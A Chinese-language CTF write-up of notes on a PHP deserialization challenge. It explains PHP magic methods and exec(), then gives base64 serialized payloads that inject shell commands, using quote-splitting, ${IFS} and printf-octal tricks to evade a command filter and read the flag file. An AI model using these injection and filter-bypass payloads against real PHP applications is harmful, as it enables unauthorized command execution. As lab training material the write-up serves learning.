php反序列化
调用回调函数,并把一个数组参数作为回调函数的参数 被调用的函数 this这个类 method 就是函数ping 参数是args |
Method 和args都是私有变量,给他们传值,需要用_constuct方法 |
exec()函数用于执行一个外部程序,语法为:exec(string $command[,array &$output[,int &$return_var ]]); 是用来调用linux命令的函数。执行$command中的命令后返回结果到$array中 |
反序列化之前调用,会挨个把数组的值传入waf进行过滤。 |
__construct()构造函数只有在new 一个对象的时候会触发,在serialize 序列化和unserialize反序列化中都不会触发
Sleep方法在序列化之前触发
Wake up 反序列化之前触发
exec()函数用于执行一个外部程序,语法为:exec(string $command[,array &$output[,int &$return_var ]]); 是用来调用linux命令的函数。
执行$command中的命令后返回结果到$array中
__wakeup(),执行unserialize()时,先会调用这个函数
new 关键字实例化一个对象时,构造函数将会自动调用 __construct ()构造方法
对象被删除之前调用__destruct()折构方法:
****printf的格式化输出,可以将十六进制或者八进制的字符数字转化成其对应的ASCII字符内容输出
Bash中单引号会把中间的内容完全视为字符串,但双引号会把内部变量进行解析
反引号的功能是命令替换,在反引号(``) 中的内容通常是命令行,程序会优先执行反引号中的内容,并使用运行结果替换掉反引号处的内容。
Linux的bash shell中有一个叫做内部字段分隔符IFS(internal field separator)的变量,该变量常用于在处理文本数据时作为分隔符使用。IFS可以是White Space(空白键)、Tab( 表格键)、Enter( 回车键)中的一个或几个。IFS的设置方法和普通变量设置方法类似:IFS=":"。当该变量为空格时,
可用于对空格进行绕过
- 传入Ctf= Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo0OiJsJydzIjt9
- ctfTools (file://YANGZEXIN/ctfTools)
有这个flag is here文件夹。想办法查看 这样'l""s${IFS}f""lag_1s_here'可以用$IFS绕过空格,flag之间加个双引号绕过。
- 传入ctf=Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoyNDoibCIicyR7SUZTfWYiImxhZ18xc19oZXJlIjt9fQ==
发现有flag_831b9..文件。
想办法查看。
c""at${IFS}f""lag_1s_here$(printf${IFS}"\57")f""lag_831b69012c67b35f.p""hp' 构造成这样
等价于 cat flag_1s_here/flag_831b69012c67b35f.php
其中$(printf${IFS}"\57") 表示输出一个 /
$()表示命令替换,将括号内的命令输出结果作为一个整体赋值给变量。而${ IFS }表示环境变量IFS的值,它是一个用于分割字段的特殊字符集合。
因此,$(printf${ IFS }"\57")会将${ IFS }的值作为分隔符传递给printf函数,并输出ASCII码为57对应的字符,即正斜杠/
反序列化 然后传入 得到flag